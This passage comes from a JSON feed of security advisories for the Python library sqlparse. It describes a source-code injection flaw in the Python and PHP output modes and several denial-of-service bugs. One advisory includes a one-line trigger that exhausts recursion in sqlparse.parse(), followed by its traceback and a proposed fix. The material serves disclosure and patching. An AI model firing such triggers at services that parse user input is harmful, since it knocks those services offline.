— opening of the generated Python string\n- `sqlparse/filters/output.py:65` — incomplete Python quote escaping\n- `sqlparse/filters/output.py:91` — opening of the generated PHP string\n- `sqlparse/filters/output.py:114` — incomplete PHP quote escaping\n\n### PoC\n\nA complete validated reproduction is attached as [output_format_snippet_injection-poc.zip](https://github.com/user-attachments/files/29410134/output_format_snippet_injection-poc.zip). The archive contains `reproduction/` at its root, uses Git and Docker, and validates the Python output path by generating and executing a snippet containing a controlled marker-file write.\n\nExtract the archive beside this report, then run:\n\n```console\n./reproduction/run.sh\n```\n\nObserved result:\n\nThe generated Python snippet placed the attacker-controlled `pathlib.Path(...).write_text(...)` expression outside the intended SQL string. Executing the snippet wrote the expected proof marker, emitted `EVOHUNT_OUTPUT_FORMAT_INJECTION_VERIFIED`, and completed successfully.\n\nVerification method:\n\nThe verification helper calls `sqlparse.format(..., output_format='python')`, executes the generated snippet, and fails unless the injected Python expression writes the exact proof marker file.\n\nLimitations:\n\nNo reproduction blocker was recorded. The attached harness directly verifies the Python output path; exploitation also requires a downstream consumer to execute or import the generated source.\n\n### Impact\n\nThis is source-code injection in the opt-in Python and PHP snippet-generation modes. An attacker who controls SQL converted by one of these modes can inject language code into the generated artifact. If that artifact is subsequently executed, the attacker can run code with the permissions and access of the downstream Python or PHP process.\n\nThe demonstrated end-to-end result is code execution through a generated Python snippet. Formatting the SQL alone does not execute the payload, and ordinary parsing, splitting, or formatting without these output modes is not shown to be affected.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-17T17:20:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.2,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L","references":["https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-3496-9g83-7v6x","https://github.com/andialbrecht/sqlparse/commit/53ff44b53e27cff78259acc1af015506fea60f63","https://github.com/advisories/GHSA-3496-9g83-7v6x"],"source_kind":"github","identifiers":["GHSA-3496-9g83-7v6x","CVE-2026-59894"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-17T19:00:10.270Z","updated_at":"2026-08-19T22:00:09.347Z","epss_percentage":0.00129,"epss_percentile":0.02959,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNDk2LTlnODMtN3Y2eM4ABkVV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNDk2LTlnODMtN3Y2eM4ABkVV","packages":[{"ecosystem":"pypi","package_name":"sqlparse","versions":[{"first_patched_version":"0.6.0","vulnerable_version_range":"\u003c= 0.5.5"}],"purl":"pkg:pypi/sqlparse"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNDk2LTlnODMtN3Y2eM4ABkVV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yN2pwLXdtNnEtZ3AyNc4ABSUd","url":"https://github.com/advisories/GHSA-27jp-wm6q-gp25","title":"sqlparse: formatting list of tuples leads to denial of service","description":"### Summary\nThe below gist hangs while attempting to format a long list of tuples.\n\nThis was found while [drafting a regression test for Dja\nngo 5.2's composite primary key feature](https://code.djangoproject.com/ticket/36416#comment:3), which allows querying composite fields with tuples.\n\n###","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-13T16:16:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-27jp-wm6q-gp25","https://github.com/andialbrecht/sqlparse/commit/40ed3aa958657fa4a82055927fa9de70ab903360","https://github.com/andialbrecht/sqlparse/releases/tag/0.5.4","https://github.com/advisories/GHSA-27jp-wm6q-gp25"],"source_kind":"github","identifiers":["GHSA-27jp-wm6q-gp25"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-13T17:00:08.905Z","updated_at":"2026-08-15T20:06:00.298Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yN2pwLXdtNnEtZ3AyNc4ABSUd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yN2pwLXdtNnEtZ3AyNc4ABSUd","packages":[{"ecosystem":"pypi","package_name":"sqlparse","versions":[{"first_patched_version":"0.5.4","vulnerable_version_range":"\u003c= 0.5.3"}],"purl":"pkg:pypi/sqlparse"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yN2pwLXdtNnEtZ3AyNc4ABSUd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02MnFmLWpjcTgtOGd4d84AA7aa","url":"https://github.com/advisories/GHSA-62qf-jcq8-8gxw","title":"Duplicate Advisory: sqlparse parsing heavily nested list leads to Denial of Service","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2m57-hf25-phgg. This link is maintained to preserve external references.\n\n## Original Description\nPassing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-30T15:30:38.000Z","withdrawn_at":"2024-05-01T11:08:47.000Z","classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-4340","https://github.com/andialbrecht/sqlparse/commit/b4a39d9850969b4e1d6940d32094ee0b42a2cf03","https://github.com/advisories/GHSA-2m57-hf25-phgg","https://research.jfrog.com/vulnerabilities/sqlparse-stack-exhaustion-dos-jfsa-2024-001031292","https://github.com/advisories/GHSA-62qf-jcq8-8gxw"],"source_kind":"github","identifiers":["GHSA-62qf-jcq8-8gxw"],"repository_url":"https://github.com/andialbrecht/sqlparse","blast_radius":0.0,"created_at":"2024-05-01T12:05:25.487Z","updated_at":"2026-08-15T20:12:25.845Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MnFmLWpjcTgtOGd4d84AA7aa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02MnFmLWpjcTgtOGd4d84AA7aa","packages":[{"ecosystem":"pypi","package_name":"sqlparse","versions":[{"first_patched_version":"0.5.0","vulnerable_version_range":"\u003c 0.5.0"}],"purl":"pkg:pypi/sqlparse"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MnFmLWpjcTgtOGd4d84AA7aa/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ybTU3LWhmMjUtcGhnZ84AA7Be","url":"https://github.com/advisories/GHSA-2m57-hf25-phgg","title":"sqlparse parsing heavily nested list leads to Denial of Service","description":"### Summary\nPassing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.\n\n### Details + PoC\nRunning the following code will raise Maximum recursion limit exceeded exception:\n```py\nimport sqlparse\nsqlparse.parse('[' * 10000 + ']' * 10000)\n```\nWe expect a traceback of RecursionError:\n```py\nTraceback (most recent call last):\n  File \"trigger_sqlparse_nested_list.py\", line 3, in \u003cmodule\u003e\n    sqlparse.parse('[' * 10000 + ']' * 10000)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py\", line 30, in parse\n    return tuple(parsestream(sql, encoding))\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py\", line 36, in run\n    stmt = grouping.group(stmt)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 428, in group\n    func(stmt)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 53, in group_brackets\n    _group_matching(tlist, sql.SquareBrackets)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 48, in _group_matching\n    tlist.group_tokens(cls, open_idx, close_idx)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 328, in group_tokens\n    grp = grp_cls(subtokens)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 161, in __init__\n    super().__init__(None, str(self))\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 165, in __str__\n    return ''.join(token.value for token in self.flatten())\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 165, in \u003cgenexpr\u003e\n    return ''.join(token.value for token in self.flatten())\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n    yield from token.flatten()\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n    yield from token.flatten()\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n    yield from token.flatten()\n  [Previous line repeated 983 more times]\nRecursionError: maximum recursion depth exceeded\n```\n\n### Fix suggestion\nThe [flatten()](https://github.com/andialbrecht/sqlparse/blob/master/sqlparse/sql.py#L207) function of TokenList class should limit the recursion to a maximal depth:\n```py\nfrom sqlparse.exceptions import SQLParseError\n\nMAX_DEPTH = 100\n\n    def flatten(self, depth=1):\n        \"\"\"Generator yielding ungrouped tokens.\n\n        This method is recursively called for all child tokens.\n        \"\"\"\n    if depth \u003e= MAX_DEPTH:\n        raise SQLParseError('Maximal depth reached')\n        for token in self.tokens:\n            if token.is_group:\n                yield from token.flatten(depth + 1)\n            else:\n                yield token\n```\n\n### Impact\nDenial of Service (the impact depends on the use).\nAnyone parsing a user input with sqlparse.parse() is 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